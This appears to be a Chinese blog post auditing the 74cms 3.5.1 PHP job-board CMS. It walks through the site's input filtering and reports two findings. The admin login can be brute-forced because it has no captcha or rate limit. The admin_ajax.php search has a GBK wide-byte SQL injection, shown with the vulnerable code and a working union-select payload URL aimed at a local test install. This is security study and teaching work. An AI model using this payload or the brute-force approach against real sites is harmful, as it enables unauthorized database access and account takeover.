zoukankan      html  css  js  c++  java
  • 2020/2/22 74cms3.5.1 代码审计

    0x00 网站结构

    简单试了一下。每一个模块还是比较清楚的,分别对应网站的一个模块。还有一些没有权限访问

    0x01 通读代码

    先看入口文件,index.php
    开头先对网站是否安装做了判断
    然后就是判断是否是手机浏览
    页面的变量都做了很好的过滤,单引号闭合,且intval强制转换

    然后引入了配置文件:
    /include/common.inc.php
    include/mysql.class.php
    我们跟进
    /include/common.inc.php
    74cms 公共配置文件
    页面包含了几个文件,我们一会跟进,先来看看这个页面
    对变量过滤:

    if (!empty($_GET))
    
    {
    
    $_GET  = addslashes_deep($_GET);
    
    }
    
    if (!empty($_POST))
    
    {
    
    $_POST = addslashes_deep($_POST);
    
    }
    
    $_COOKIE   = addslashes_deep($_COOKIE);
    
    $_REQUEST  = addslashes_deep($_REQUEST
    

    有一个点:

    $online_ip=getip();
    
    $ip_address=convertip($online_ip);
    

    我们一会看一下$ip_address是否拼接到了数据库是否能注入
    页面最后

    if ($_CFG['filter_ip'] && check_word($_CFG['filter_ip'],$online_ip))
    
          {
    
                      $smarty->assign('info',$_CFG['filter_ip_tips']);
    
                      $smarty->display('warning.htm');
    
                      exit();
    
          }
    

    对ip进行了过滤。看起来过滤了字符。
    跟进data/config.php

    看到gbk,想到了宽字节注入,即使他的页面有时做了转义,依旧能注入
    include/common.fun.php
    这个就是一整个过滤页面了
    过滤了sql,xss
    同时ip注入几乎不可能了

    include/mysql.class.php

    $dbcharset = 'gbk'
    

    于是我们就可以想到了,之后的测试中有目的的进行宽字节注入。

    0x02 后台管理员密码可以爆破

    我们先打开了后台

    看到没有验证码
    简单测试了一下并没有对密码错误有什么限制
    复现:

    虽然速度慢了些但是可以看到还是能够爆破出来密码

    0x03 SQL注入漏洞

    按照之前的思路找宽字节注入
    为了快速挖掘宽字节注入漏洞,我们全局搜索关键字iconv,iconv()函数通常用来进行编码类型转换,搜索后发现共有21处使用了iconv(),我们选择一个文件进行分析,该文件为:/admin/admin_ajax.php

    问题代码:

    elseif($act == 'get_jobs')
    
    {
    
          $type=trim($_GET['type']);
    
          $key=trim($_GET['key']);
    
          if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
    
          {
    
          $key=iconv("utf-8",QISHI_DBCHARSET,$key);
    
          }     
    
          if ($type=="get_id")
    
          {
    
                $id=intval($key);
    
                $sql = "select * from ".table('jobs')." where id='{$id}'  
    LIMIT 1";
    
          }
    
          elseif ($type=="get_jobname")
    
          {
    
                $sql = "select * from ".table('jobs')." where jobs_name like 
    '%{$key}%'  LIMIT 30";
    
          }
    
          elseif ($type=="get_comname")
    
          {
    
                $sql = "select * from ".table('jobs')." where companyname 
    like '%{$key}%'  LIMIT 30";
    
          }
    
          elseif ($type=="get_uid")
    
          {
    
                $uid=intval($key);
    
                $sql = "select * from ".table('jobs')." where uid='{$uid}'  
    LIMIT 30";        
    
          }
    
          else
    
          {
    
          exit();
    
          }
    
                $result = $db->query($sql);
    
                while($row = $db->fetch_array($result))
    
                {
    
                      $row['addtime']=date("Y-m-d",$row['addtime']);
    
                      $row['deadline']=date("Y-m-d",$row['deadline']);
    
                      $row['refreshtime']=date("Y-m-d",$row['refreshtime']);
    
                      $row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['company_id']),false);
    
                      $row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']),false);
    
                      $info[]=$row['id']."%%%".$row['jobs_name']."%%%".$row['jobs_url']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime']."%%%".$row['deadline']."%%%".$row['refreshtime'];
    
                }
    
                if (!empty($info))
    
                {
    
                exit(implode('@@@',$info));
    
                }
    
                else
    
                {
    
                exit();
    
                }
    
    }
    
    elseif($act == 'get_company')
    
    {
    
          $type=trim($_GET['type']);
    
          $key=trim($_GET['key']);
    
          if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
    
          {
    
          $key=iconv("utf-8",QISHI_DBCHARSET,$key);
    
          }     
    
          if ($type=="getuname")
    
          {
    
                $sql = "select * from ".table('members')." AS m  LEFT JOIN  
    ".table('company_profile')." AS c ON  m.uid=c.uid where m.username like 
    '{$key}%' AND m.utype=1 LIMIT 20";
    
          }
    
          elseif ($type=="getcomname")
    
          {
    
                $sql = "select * from ".table('company_profile')." where 
    companyname like '%{$key}%'  LIMIT 30";
    
          }
    
          else
    
          {
    
          exit();
    
          }
    
                $result = $db->query($sql);
    
                while($row = $db->fetch_array($result))
    
                {
    
                      if (empty($row['companyname']))
    
                      {
    
                      continue;
    
                      }
    
                      $row['addtime']=date("Y-m-d",$row['addtime']);
    
                      $row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['id']),false);
    
                      $info[]=$row['id']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime'];
    
                }
    
                if (!empty($info))
    
                {
    
                exit(implode('@@@',$info));
    
                }
    
    }
    

    这里的iconv()函数将变量$key由gbk编码转换为了utf-8编码。在我之前的宽字节注入文章中提到过单引号被addslashes转义成为',如果提交%df,那就会与(url编码为%5c)组合成为了%df%5c,也就是gbk编码中的“運”字,组合之后被转义的“ ' ”中的“ ‘ ”还存在,成功闭合了之前的单引号。
    复现
    payload:

    http://127.0.0.1/74cms/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=%E9%81%8B%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23
    

    0x04 总结

    这个cms过滤的已经是挺严格了,最大的问题就是74cms的通病,宽字节注入。
    在后来的版本中即使iconv()被替换,仍然存在这个问题。
    还有74cms默认不开启验证码,即使开启了我们也能绕过,这个就造成了我们可以爆破任意用户的密码。
    下一个cms不知道啥时候开始审计,准备开始学习python编程了233.
    继续努力吧。还剩点时间去写回java作业orz

  • 相关阅读:
    centos下修改hosts
    metasploit rpc
    使用Suricata和ELK进行网络入侵检测
    查询存储设备的UUID
    CentOS基础命令大全
    两个有序数组合并到一个新数组
    dubbo
    redis基本数据类型【3】-List类型
    redis基本数据类型【2】-Hash类型
    redis基本数据类型【1】-String类型
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12346925.html
Copyright © 2011-2022 走看看